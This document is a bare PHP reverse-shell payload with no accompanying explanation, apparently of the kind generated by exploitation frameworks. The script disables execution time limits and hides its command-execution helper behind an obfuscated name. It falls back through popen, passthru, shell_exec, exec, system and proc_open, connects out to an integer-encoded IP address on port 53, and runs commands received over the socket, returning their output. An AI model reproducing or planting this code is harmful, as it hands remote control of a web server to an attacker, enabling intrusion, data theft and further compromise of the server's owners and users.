d2: contentstart
<?php


                $ipaddr=long2ip(3232273282);
                $port=53;

                        @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
                        $dis=@ini_get('disable_functions');
                        if(!empty($dis)){
                                $dis=preg_replace('/[, ]+/', ',', $dis);
                                $dis=explode(',', $dis);
                                $dis=array_map('trim', $dis);
                        }else{
                                $dis=array();
                        }


                if(!function_exists('TeFTCitDbt')){
                        function TeFTCitDbt($c){
                                global $dis;

                        if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
                                $c=$c." 2>&1\n";
                        }
                        $uSHKC='is_callable';
                        $KAys='in_array';

                        if($uSHKC('popen')and!$KAys('popen',$dis)){
                                $fp=popen($c,'r');
                                $o=NULL;
                                if(is_resource($fp)){
                                        while(!feof($fp)){
                                                $o.=fread($fp,1024);
                                        }
                                }
                                @pclose($fp);
                        }else
                        if($uSHKC('passthru')and!$KAys('passthru',$dis)){
                                ob_start();
                                passthru($c);
                                $o=ob_get_contents();
                                ob_end_clean();
                        }else
                        if($uSHKC('shell_exec')and!$KAys('shell_exec',$dis)){
                                $o=shell_exec($c);
                        }else
                        if($uSHKC('exec')and!$KAys('exec',$dis)){
                                $o=array();
                                exec($c,$o);
                                $o=join(chr(10),$o).chr(10);
                        }else
                        if($uSHKC('system')and!$KAys('system',$dis)){
                                ob_start();
                                system($c);
                                $o=ob_get_contents();
                                ob_end_clean();
                        }else
                        if($uSHKC('proc_open')and!$KAys('proc_open',$dis)){
                                $handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);
                                $o=NULL;
                                while(!feof($pipes[1])){
                                        $o.=fread($pipes[1],1024);
                                }
                                @proc_close($handle);
                        }else
                        {
                                $o=0;
                        }

                                return $o;
                        }
                }
                $nofuncs='no exec functions';
                if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
                        $s=@fsockopen($ipaddr,$port);
                        while($c=fread($s,2048)){
                                $out = '';
                                if(substr($c,0,3) == 'cd '){
                                        chdir(substr($c,3,-1));
                                } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
                                        break;
                                }else{
                                        $out=TeFTCitDbt(substr($c,0,-1));
                                        if($out===false){
                                                fwrite($s,$nofuncs);
                                                break;
                                        }
                                }
                                fwrite($s,$out);
                        }
                        fclose($s);
                }else{
                        $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
                        @socket_connect($s,$ipaddr,$port);
                        @socket_write($s,"socket_create");
                        while($c=@socket_read($s,2048)){
                                $out = '';
                                if(substr($c,0,3) == 'cd '){
                                        chdir(substr($c,3,-1));
                                } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
                                        break;
                                }else{
                                        $out=TeFTCitDbt(substr($c,0,-1));
                                        if($out===false){
                                                @socket_write($s,$nofuncs);
                                                break;
                                        }
                                }
                                @socket_write($s,$out,strlen($out));
                        }
                        @socket_close($s);
                }



?>

d2: contentend
